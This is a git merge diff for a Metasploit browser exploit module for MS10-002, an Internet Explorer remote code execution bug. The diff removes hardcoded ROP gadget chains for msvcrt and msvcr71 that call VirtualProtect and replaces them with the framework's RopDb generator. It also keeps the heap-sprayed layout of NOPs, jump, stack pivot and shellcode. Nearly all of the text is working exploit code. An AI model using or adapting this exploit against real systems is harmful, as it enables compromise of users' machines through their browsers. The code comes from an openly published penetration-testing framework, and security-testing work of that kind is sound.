Merge branch 'ms10_002_ropdb_update' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ms10_002_ropdb_update

Author: jvazquez-r7

modules/exploits/windows/browser/ms10_002_ie_object.rb

@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	Rank = NormalRanking
 
 	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
 
 	def initialize(info={})
 		super(update_info(info,
@@ -51,7 +52,7 @@ def initialize(info={})
 				},
 			'DefaultOptions' =>
 				{
-					'InitialAutoRunScript' => 'migrate -f',
+					'InitialAutoRunScript' => 'migrate -f'
 				},
 			'Platform'       => 'win',
 			'Targets'        =>
@@ -89,6 +90,8 @@ def on_request_uri(cli, request)
 			return
 		end
 
+		print_status("Target selected: #{my_target.name}")
+
 		js_code = build_javascript(my_target)
 
 		html = %Q|
@@ -231,72 +234,25 @@ def build_javascript(my_target)
 		return spray
 	end
 
-	def nop
-		return make_nops(4).unpack("V").first
-	end
-
 	def junk(n=4)
 		return rand_text_alpha(n).unpack("V").first
 	end
 
 	# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
 	def get_payload(t)
-		# chain generated by mona.py - See corelan.be
+		p  = make_nops(46)
+		p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
+		p << [t.ret].pack("V") # Stack Pivot
+		p << payload.encoded
+
 		case t['Rop']
 		when :msvcrt
-			rop =
-			[
-				0x77c4e392,  # POP EAX # RETN
-				0x77c11120,  # <- *&VirtualProtect()
-				0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
-				junk,
-				0x77c2dd6c,
-				0x77c4ec00,  # POP EBP # RETN
-				0x77c35459,  # ptr to 'push esp #  ret'
-				0x77c47705,  # POP EBX # RETN
-				0x00000800,  # <- change size to mark as executable if needed (-> ebx)
-				0x77c3ea01,  # POP ECX # RETN
-				0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
-				0x77c46100,  # POP EDI # RETN
-				0x77c46101,  # ROP NOP (-> edi)
-				0x77c4d680,  # POP EDX # RETN
-				0x00000040,  # newProtect (0x40) (-> edx)
-				0x77c4e392,  # POP EAX # RETN
-				nop,  # NOPS (-> eax)
-				0x77c12df9,  # PUSHAD # RETN
-			].pack("V*")
-
-		when :jre
-			rop =
-			[
-				0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
-				0xfffffdff,  # Value to negate, will become 0x00000201 (dwSize)
-				0x7c347f98,  # RETN (ROP NOP)
-				0x7c3415a2,  # JMP [EAX]
-				0xffffffff,
-				0x7c376402,  # skip 4 bytes
-				0x7c351e05,  # NEG EAX # RETN
-				0x7c345255,  # INC EBX # FPATAN # RETN
-				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
-				0x7c344f87,  # POP EDX # RETN
-				0xffffffc0,  # Value to negate, will become 0x00000040
-				0x7c351eb1,  # NEG EDX # RETN
-				0x7c34d201,  # POP ECX # RETN
-				0x7c38b001,  # &Writable location
-				0x7c347f97,  # POP EAX # RETN
-				0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
-				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
-				0x7c345c30,  # ptr to 'push esp #  ret '
-			].pack("V*")
+			rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
+		else
+			rop_payload = generate_rop_payload('java', p)
 		end
 
-		code = rop
-		code << make_nops(38)
-		code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
-		code << [t.ret].pack("V") # Stack Pivot
-		code << payload.encoded
-
-		return code
+		return rop_payload
 	end
 
 end